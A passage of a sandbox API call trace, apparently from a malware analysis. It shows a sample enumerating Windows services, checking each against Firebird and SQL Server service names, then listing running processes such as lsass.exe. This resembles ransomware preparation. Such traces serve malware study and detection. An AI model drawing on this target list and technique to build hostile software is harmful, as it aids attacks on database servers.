	[0052.709] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0052.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0052.709] lstrlenW (lpString="BFE") returned 3
	[0052.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0052.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0052.709] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0052.709] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0052.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0052.709] lstrlenW (lpString="BITS") returned 4
	[0052.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0052.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0052.710] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0052.710] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0052.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0052.710] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0052.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0052.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0052.710] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0052.710] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0052.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0052.710] lstrlenW (lpString="CDPSvc") returned 6
	[0052.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0052.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0052.710] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0052.710] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0052.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0052.710] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0052.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0052.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0052.710] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0052.710] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0052.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0052.710] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0052.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0052.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0052.710] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0052.710] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0052.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0052.710] lstrlenW (lpString="CryptSvc") returned 8
	[0052.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0052.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0052.711] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0052.711] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0052.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0052.711] lstrlenW (lpString="DcomLaunch") returned 10
	[0052.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0052.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0052.711] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0052.711] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0052.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0052.711] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0052.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0052.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0052.711] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0052.711] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0052.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0052.711] lstrlenW (lpString="Dhcp") returned 4
	[0052.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0052.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0052.711] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0052.711] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0052.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0052.711] lstrlenW (lpString="Dnscache") returned 8
	[0052.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0052.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0052.711] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0052.711] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0052.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0052.712] lstrlenW (lpString="DoSvc") returned 5
	[0052.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0052.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0052.712] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0052.712] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0052.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0052.712] lstrlenW (lpString="DPS") returned 3
	[0052.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0052.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0052.712] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0052.712] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0052.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0052.712] lstrlenW (lpString="DusmSvc") returned 7
	[0052.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0052.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0052.712] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0052.712] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0052.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0052.712] lstrlenW (lpString="EventLog") returned 8
	[0052.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0052.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0052.712] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0052.712] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0052.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0052.712] lstrlenW (lpString="EventSystem") returned 11
	[0052.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0052.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0052.712] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0052.712] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0052.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0052.713] lstrlenW (lpString="FontCache") returned 9
	[0052.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0052.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0052.713] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0052.713] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0052.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0052.713] lstrlenW (lpString="gpsvc") returned 5
	[0052.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0052.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0052.713] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0052.713] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0052.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0052.713] lstrlenW (lpString="iphlpsvc") returned 8
	[0052.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0052.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0052.713] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0052.713] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0052.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0052.713] lstrlenW (lpString="KeyIso") returned 6
	[0052.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0052.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0052.713] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0052.713] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0052.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0052.713] lstrlenW (lpString="LanmanServer") returned 12
	[0052.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0052.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0052.713] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0052.714] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0052.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0052.714] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0052.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0052.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0052.714] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0052.714] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0052.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0052.714] lstrlenW (lpString="lfsvc") returned 5
	[0052.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0052.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0052.714] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0052.714] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0052.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0052.714] lstrlenW (lpString="lmhosts") returned 7
	[0052.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0052.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0052.714] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0052.714] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0052.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0052.714] lstrlenW (lpString="LSM") returned 3
	[0052.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0052.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0052.714] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0052.714] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0052.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0052.714] lstrlenW (lpString="MpsSvc") returned 6
	[0052.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0052.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0052.714] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0052.715] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0052.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0052.715] lstrlenW (lpString="NcbService") returned 10
	[0052.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0052.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0052.715] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0052.715] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0052.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0052.715] lstrlenW (lpString="netprofm") returned 8
	[0052.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0052.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0052.715] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0052.715] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0052.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0052.715] lstrlenW (lpString="NgcSvc") returned 6
	[0052.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0052.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0052.715] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0052.715] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0052.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0052.715] lstrlenW (lpString="NlaSvc") returned 6
	[0052.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0052.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0052.715] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0052.715] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0052.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0052.715] lstrlenW (lpString="nsi") returned 3
	[0052.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0052.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0052.716] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0052.716] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0052.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0052.716] lstrlenW (lpString="PcaSvc") returned 6
	[0052.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0052.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0052.716] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0052.716] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0052.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0052.716] lstrlenW (lpString="PlugPlay") returned 8
	[0052.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0052.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0052.716] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0052.716] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0052.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0052.716] lstrlenW (lpString="Power") returned 5
	[0052.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0052.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0052.716] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0052.716] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0052.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0052.716] lstrlenW (lpString="ProfSvc") returned 7
	[0052.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0052.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0052.716] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0052.716] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0052.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0052.716] lstrlenW (lpString="RpcEptMapper") returned 12
	[0052.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0052.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0052.717] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0052.717] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0052.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0052.717] lstrlenW (lpString="RpcSs") returned 5
	[0052.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0052.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0052.717] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0052.717] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0052.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0052.717] lstrlenW (lpString="SamSs") returned 5
	[0052.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0052.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0052.717] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0052.717] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0052.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0052.717] lstrlenW (lpString="Schedule") returned 8
	[0052.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0052.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0052.717] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0052.717] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0052.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0052.717] lstrlenW (lpString="SecurityHealthService") returned 21
	[0052.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0052.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0052.717] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0052.717] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0052.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0052.717] lstrlenW (lpString="SENS") returned 4
	[0052.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0052.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0052.718] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0052.718] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0052.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0052.718] lstrlenW (lpString="ShellHWDetection") returned 16
	[0052.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0052.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0052.718] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0052.718] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0052.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0052.718] lstrlenW (lpString="Spooler") returned 7
	[0052.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0052.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0052.718] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0052.718] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0052.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0052.718] lstrlenW (lpString="StateRepository") returned 15
	[0052.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0052.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0052.718] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0052.718] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0052.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0052.718] lstrlenW (lpString="SysMain") returned 7
	[0052.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0052.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0052.718] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0052.718] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0052.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0052.718] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0052.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0052.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0052.719] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0052.719] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0052.719] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534658 | out: hHeap=0x4f0000) returned 1
	[0052.719] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240
	[0052.750] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0052.751] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0052.751] lstrlenW (lpString="System") returned 6
	[0052.751] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0052.753] lstrlenW (lpString="smss.exe") returned 8
	[0052.753] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0052.753] lstrlenW (lpString="csrss.exe") returned 9
	[0052.753] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0052.754] lstrlenW (lpString="wininit.exe") returned 11
	[0052.754] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0052.756] lstrlenW (lpString="csrss.exe") returned 9
	[0052.757] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0052.757] lstrlenW (lpString="winlogon.exe") returned 12
	[0052.757] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0052.758] lstrlenW (lpString="services.exe") returned 12
	[0052.758] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0052.761] lstrlenW (lpString="lsass.exe") returned 9
	[0052.761] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.761] lstrlenW (lpString="svchost.exe") returned 11
	[0052.761] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0052.763] lstrlenW (lpString="fontdrvhost.exe") returned 15
